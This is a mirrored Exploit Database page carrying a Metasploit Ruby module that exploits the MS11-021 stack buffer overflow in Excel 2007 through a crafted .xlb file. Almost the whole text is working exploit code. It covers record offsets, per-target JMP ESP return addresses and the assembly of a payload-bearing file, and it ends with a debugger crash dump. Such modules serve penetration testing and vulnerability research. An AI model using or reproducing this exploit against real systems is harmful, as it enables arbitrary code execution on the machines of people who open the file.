Microsoft Excel 2007 – ‘.xlb’ Local Buffer Overflow (MS11-021) (Metasploit)

Exploit Database
125 阅读

作者： Metasploit

日期： 2011-11-05
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/18087/

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# $Id: ms11_021_xlb_bof.rb 14172 2011-11-06 20:16:34Z sinn3r $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info={})

super(update_info(info,

'Name' => "MS11-021 Microsoft Office 2007 Excel .xlb Buffer Overflow",

'Description'=> %q{

This module exploits a vulnerability found in Excel of Microsoft Office 2007.

By supplying a malformed .xlb file, an attacker can control the content (source)

of a memcpy routine, and the number of bytes to copy, therefore causing a stack-

based buffer overflow.This results aribrary code execution under the context of

user the user.

'License'=> MSF_LICENSE,

'Version'=> "$Revision: 14172 $",

'Author' =>

[

'Aniway', #Initial discovery (via ZDI)

'abysssec', #RCA, poc

'sinn3r', #Metasploit

'juan vazquez'#Metasploit

'References' =>

[

['CVE', '2011-0105'],

['MSB', 'MS11-021'],

['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-121/'],

['URL', 'http://www.abysssec.com/blog/2011/11/02/microsoft-excel-2007-sp2-buffer-overwrite-vulnerability-ba-exploit-ms11-021/']

'Payload'=>

{

'StackAdjustment' => -3500,

'DefaultOptions'=>

{

'ExitFunction'=> "process",

'DisablePayloadHandler' => 'true',

'InitialAutoRunScript'=> 'migrate -f'

'Platform' => 'win',

'Targets'=>

[

# Win XP SP3 (Vista and 7 will try to repair the file)

['Microsoft Office Excel 2007 on Windows XP', {'Ret' => 0x3006A48D }], # JMP ESP in EXCEL (Office 2007)

['Microsoft Office Excel 2007 SP2 on Windows XP', {'Ret'=>0x3006b185}],#JMP ESP in excel

'Privileged' => false,

'DisclosureDate' => "Aug 9 2011",

'DefaultTarget'=> 0))

register_options(

[

OptString.new('FILENAME', [true, 'The filename', 'msf.xlb'])

], self.class)

end

def exploit

path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2011-0105.xlb')

f = File.open(path, 'rb')

template = f.read

f.close

p = payload.encoded

# Offset 1556

record = ''

record << "\xa7\x00"#record type

record << "\x04\x00"#record length

if target.name =~ /Excel 2007 SP2/ # Microsoft Office Excel 2007 SP2

record << "\xb0\x0d\x0c\x00"#data

else

record << "\xb0\x0f\x0c\x00"#data

end

# Offset 1564

continue_record = ''

continue_record << "\x3c\x00" #record type

continue_record << [p.length+32].pack('v')#length

buf= ''

buf << template[0, 1556]

buf << record

buf << continue_record

buf << rand_text_alpha(1)

buf << [target.ret].pack('V*')

buf << "\x00"*12

buf << p

buf << template[2336, template.length]

file_create(buf)

end

=begin

0:000> r

eax=41414141 ebx=00000000 ecx=00000006 edx=008c1504 esi=0000007f edi=00000005

eip=301a263d esp=00137ef8 ebp=00137f6c iopl=0 nv up ei pl nz na pe nc

cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010206

EXCEL!Ordinal40+0x1a263d:

301a263d 8908mov dword ptr [eax],ecxds:0023:41414141=????????

0:000> dc esp

00137ef800000000 00000000 41414141 41414141........AAAAAAAA

00137f0841414141 41414141 41414141 41414141AAAAAAAAAAAAAAAA

00137f1841414141 41414141 41414141 41414141AAAAAAAAAAAAAAAA

00137f2841414141 41414141 41414141 41414141AAAAAAAAAAAAAAAA

00137f3841414141 41414141 41414141 41414141AAAAAAAAAAAAAAAA

00137f4841414141 41414141 41414141 41414141AAAAAAAAAAAAAAAA

00137f5841414141 41414141 41414141 00000000AAAAAAAAAAAA....

00137f6841414141 41414141 41414141 41414141AAAAAAAAAAAAAAAA

=end